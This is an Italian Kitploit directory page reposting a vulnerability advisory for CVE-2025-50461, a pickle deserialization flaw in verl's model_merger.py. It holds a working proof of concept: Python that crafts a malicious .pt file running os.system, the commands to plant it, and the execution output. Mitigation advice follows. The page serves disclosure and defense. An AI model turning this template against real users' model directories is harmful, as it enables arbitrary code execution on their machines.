Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-50461 — Dettagli tecnici ed exploit per CVE-2025-50461 | Kitploit
Strumenti/GitHubGitHub/anchor0221/cve-2025-50461
Generazione di PayloadAnalisi delle VulnerabilitàExploitPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubanchor0221/cve-2025-50461

CVE-2025-50461

Dettagli tecnici ed exploit per CVE-2025-50461

Vedi Repository
21 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-50461: Esecuzione di codice remoto tramite deserializzazione non sicura del modello in Verl

Stato: RISERVATO
Questo ID CVE è stato assegnato ma non è ancora stato pubblicato nell’elenco ufficiale CVE.

Esiste una vulnerabilità di deserializzazione in Volcengine's verl 3.0.0, in particolare nello script scripts/model_merger.py quando si utilizza il backend "fsdp". Lo script chiama torch.load() con weights_only=False su file .pt forniti dall’utente, consentendo a un attaccante di eseguire codice arbitrario se viene caricato un file modello creato con intenti malevoli. Un attaccante può sfruttare questa vulnerabilità convincendo una vittima a scaricare e posizionare un file modello dannoso in una directory locale con un pattern di nome file specifico. Questa vulnerabilità può portare all’esecuzione di codice arbitrario con i privilegi dell’utente che esegue lo script.

Descrizione

Repository interessato

  • Progetto: volcengine/verl
  • Versioni interessate: <= v0.4.0
  • File: scripts/model_merger.py
  • Permalink GitHub: https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
  • Dipendenza: PyTorch < 2.6.0

Prova di concetto (PoC)

Scarica lo strumento

Passo 1: Crea file modello dannoso (malicious.pt)

root@kitploit:~
import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)

Passo 2: Rinomina e posiziona

root@kitploit:~
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/

Passo 3: Esegui script vulnerabile

root@kitploit:~
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"

Risultato

root@kitploit:~
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log

Il comando mkdir HACKED! viene eseguito sul sistema della vittima.

Mitigazione

  • Aggiorna a PyTorch versione 2.6.0 o successiva, che imposta per impostazione predefinita weights_only=True, riducendo i rischi di deserializzazione.
  • Modifica il codice per impostare esplicitamente weights_only=True quando si chiama torch.load.
  • Implementa la validazione per verificare l'integrità del file modello prima del caricamento.
  • Informa gli utenti di non caricare modelli da fonti non attendibili.

Esempio di caricamento più sicuro:

root@kitploit:~
state_dict = torch.load(path, map_location="cpu", weights_only=True)

Stato CVE

CampoValore
CVE IDCVE-2025-50461
Punteggio CVSSTBD
CWECWE-502: Deserialization of Untrusted Data
Data di segnalazione2025-04-30
Data di divulgazione2025-08-15
Versione interessata<= v0.4.0
Versione correttiva

Autore

  • Scoperto da: Yu Rong (戎誉) e Hao Fan (凡浩)
  • Contatto: [[email protected]]